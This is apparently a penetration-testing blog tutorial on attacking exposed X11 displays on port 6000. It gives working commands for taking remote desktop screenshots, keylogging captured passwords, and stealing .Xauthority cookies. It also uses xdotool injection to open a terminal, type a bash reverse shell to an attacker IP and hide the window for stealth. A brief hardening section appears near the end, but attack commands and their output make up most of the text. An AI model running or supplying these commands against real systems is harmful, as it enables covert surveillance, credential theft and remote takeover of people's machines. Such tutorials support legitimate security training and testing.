networking

Port 6000 X11: Screenshots, Keylogging and Desktop Hijack

Port 6000 X11: Screenshots, Keylogging and Desktop Hijack

Port 6000 X11 in the pentest: exposed remote display, desktop screenshots, keylogging, input injection and session hijacking on Linux and Unix systems.

  • Posted on 2026-04-15
  • Reading time: 4 min

X11 (X Window System) is the graphics protocol that manages the desktop display on Linux and Unix systems. It listens on TCP port 6000 (display :0; display :1 = port 6001, and so on). When X11 is exposed on the network — which should never happen but happens with surprising frequency — an attacker can see everything that appears on the screen in real time, record every key pressed (keylogging) and inject input (keyboard and mouse) as if he were sitting in front of the computer. Unlike VNC As a desktop sharing protocol, X11 is the display server itself—the lowest layer. Compromising X11 means having complete control over the graphical interface.

The historical problem of X11 is the access mechanism: the command xhost + Disables authentication completely, allowing any host to connect. This configuration has been used for decades as a "quick fix" for running remote graphics applications and is still found in legacy environments, development servers, and academic systems.

How X11 Works #

text
X11 Client (App)                   X11 Server (:6000)
┌──────────────┐                   ┌──────────────────────┐
│ Firefox      │                   │ Display :0            │
│ Terminal     │── X11 protocol ──►│  ├── Rendering grafico│
│ File Manager │                   │  ├── Input (tastiera) │
│              │ ◄── eventi ──────│  └── Input (mouse)    │
└──────────────┘                   └──────────────────────┘

Attacker (remoto)
┌──────────────┐
│ xwd          │── connect :6000──► Screenshot del desktop
│ xspy/xinput  │── connect :6000──► Keylogging
│ xdotool      │── connect :6000──► Injection tastiera/mouse
└──────────────┘

Terminology note: In X11, the “server” is the machine with the screen (the target), and the “client” is the application that wants to display something. The attacker connects to the target's X11 server.

1. Enumeration #

Nmap #

bash
nmap -sV -p 6000-6005 10.10.10.40
text
PORT     STATE SERVICE VERSION
6000/tcp open  X11     (access denied)
6001/tcp open  X11

access denied → X11 is active but authentication is blocking the connection. Port 6001 is open without access denied → possible access to the display :1.

Nmap script #

bash
nmap -p 6000 --script=x11-access 10.10.10.40
text
PORT     STATE SERVICE
6000/tcp open  X11
| x11-access:
|   X11 access: OPEN
|_  No authentication required

OPEN — No authentication required → full desktop access without credentials.

Manual test #

bash
# Imposta la variabile DISPLAY per puntare al target
export DISPLAY=10.10.10.40:0

# Prova a listare le finestre
xwininfo -root -tree -display 10.10.10.40:0
text
xwininfo: Window id: 0x200001 (the root window)
  Root window id: 0x200001 (the root window)
  ...
  2 children:
  0x3c00001 "root@server: /home/admin": ("xterm" "XTerm")  600x400+100+100  +100+100
  0x3e00001 "Firefox": ("Navigator" "Firefox")  1200x800+0+0  +0+0

Two windows open: an xterm terminal as root and Firefox. You can see and interact with both.

2. Desktop Screenshot #

xwd (X Window Dump) #

bash
# Cattura l'intero desktop
xwd -root -display 10.10.10.40:0 -out screenshot.xwd

# Converti in formato leggibile
convert screenshot.xwd screenshot.png
bash
# Cattura una finestra specifica
xwd -id 0x3c00001 -display 10.10.10.40:0 -out terminal.xwd

Continuous screenshot (monitoring) #

bash
# Cattura uno screenshot ogni 5 secondi
while true; do
    xwd -root -display 10.10.10.40:0 -out "screen_$(date +%s).xwd"
    sleep 5
done

With Metasploit #

bash
use auxiliary/gather/x11_keyboard_spy
set RHOSTS 10.10.10.40
set DISPLAY :0
run

3. Keylogging — Capture Every Keystroke #

xspy #

bash
# Registra ogni keystroke in tempo reale
xspy -display 10.10.10.40:0
text
s u d o   p a s s w o r d :   R 0 0 t _ P @ s s 2 0 2 5 ! [Return]
s s h   a d m i n @ 1 0 . 1 0 . 1 0 . 5 0 [Return]

The user typed the root password (R00t_P@ss2025!) and connected via SSH to another machine → credentials and new target.

xinput (modern alternative) #

bash
# Lista dispositivi di input
xinput list --display 10.10.10.40:0

# Monitor keypress su un dispositivo specifico
xinput test DEVICE_ID --display 10.10.10.40:0

xdotool to read the title of the active window #

bash
# Mostra il titolo della finestra in focus (cosa sta facendo l'utente)
while true; do
    xdotool getactivewindow getwindowname --display 10.10.10.40:0
    sleep 2
done
text
root@server: /etc — xterm
Gmail - Inbox - Mozilla Firefox
server-prod — SSH — Terminal

The user is working on configuration files, reading emails, and has an open SSH session to production.

4. Injection — Inject Keyboard and Mouse #

xdotool #

bash
# Scrivi testo come se fosse digitato dall'utente
xdotool type --display 10.10.10.40:0 "whoami"
xdotool key --display 10.10.10.40:0 Return

# Combinazione di tasti (apri terminale)
xdotool key --display 10.10.10.40:0 ctrl+alt+t
sleep 2
xdotool type --display 10.10.10.40:0 "bash -i >& /dev/tcp/10.10.10.200/4444 0>&1"
xdotool key --display 10.10.10.40:0 Return

You've opened a terminal and launched a reverse shell — without the user having to do anything.

xte (xautomation) #

bash
# Muovi il mouse e clicca
xte -x 10.10.10.40:0 "mousemove 500 300" "mouseclick 1"

# Digita testo
xte -x 10.10.10.40:0 "str reverse_shell_command" "key Return"

Complete reverse shell via X11 injection #

bash
# 1. Apri terminale
xdotool key --display 10.10.10.40:0 ctrl+alt+t
sleep 2

# 2. Lancia reverse shell
xdotool type --display 10.10.10.40:0 "bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1' &"
xdotool key --display 10.10.10.40:0 Return

# 3. Minimizza il terminale (stealth)
xdotool key --display 10.10.10.40:0 super+h

If X11 is not fully open (xhost +) but uses MIT-MAGIC-COOKIE, the cookie .Xauthority It is required to connect. If you get it (via NFS , SMB , LFI or limited shell):

bash
# Trova il file .Xauthority
find / -name ".Xauthority" 2>/dev/null
bash
# Copia e usa il cookie
export XAUTHORITY=/tmp/stolen_Xauthority
xwd -root -display 10.10.10.40:0 -out screenshot.xwd
bash
# Leggi il contenuto del cookie
xauth -f /home/user/.Xauthority list
text
server/unix:0  MIT-MAGIC-COOKIE-1  abc123def456789
bash
# Aggiungi il cookie al tuo xauth
xauth add 10.10.10.40:0 MIT-MAGIC-COOKIE-1 abc123def456789

6. Post-Exploitation #

From X11 to privileged shell #

If you see a root terminal on your screen → inject commands directly.

If there is no terminal open → open one with xdotool key ctrl+alt+t and check who you are.

Observation Credentials #

Keylogging via X11 captures:

  • Passwords typed in sudo, su, ssh
  • Web login credentials (browser form)
  • Copy/pasted tokens and keys
  • Inline Credential Commands (mysql -u root -p'password')

Lateral movement #

Hostnames and IPs captured by keyloggers or visible in terminals → new targets for scanning. Credentials → tests on SSH , RDP , MySQL.

7. Detection & Hardening #

  • Never expose X11 on the network X -nolisten tcp (default in modern distros)
  • Mai xhost + — disable unauthenticated access
  • Use Wayland instead of X11 — Wayland does not have this architectural problem
  • SSH X forwarding If remote access is needed: ssh -X user@server (the display is not exposed on the network)
  • Firewall — block doors 6000-6063 incoming
  • Xauthority with MIT-MAGIC-COOKIE — do not disable authentication
  • Monitor connections to 6000+ ports from non-local IPs

8. Final Cheat Sheet #

ActionCommand
Nmapnmap -sV -p 6000-6005 --script=x11-access target
Access testxwininfo -root -tree -display target:0
Screenshotxwd -root -display target:0 -out screen.xwd
Convertedconvert screen.xwd screen.png
Keyloggerxspy -display target:0
Text injectionxdotool type --display target:0 "command"
Injection Enterxdotool key --display target:0 Return
Open terminalxdotool key --display target:0 ctrl+alt+t
Active windowxdotool getactivewindow getwindowname --display target:0
Read Xauthxauth -f /path/.Xauthority list
Add cookiesxauth add target:0 MIT-MAGIC-COOKIE-1 hex_cookie
MSF keyspyuse auxiliary/gather/x11_keyboard_spy

Reference: X Window System Protocol, X11 HackTricks, OSCP methodology. For use in authorized environments only. https://www.pentestpad.com/port-exploit/port-6000-x11-x-window-system

Want to secure your infrastructure or grow your ethical hacking career? Discover one-on-one training with HackIta or test your company's security.

#MIT-MAGIC-COOKIE #X11 #DesktopHijacking

leave a message

I'm not a robot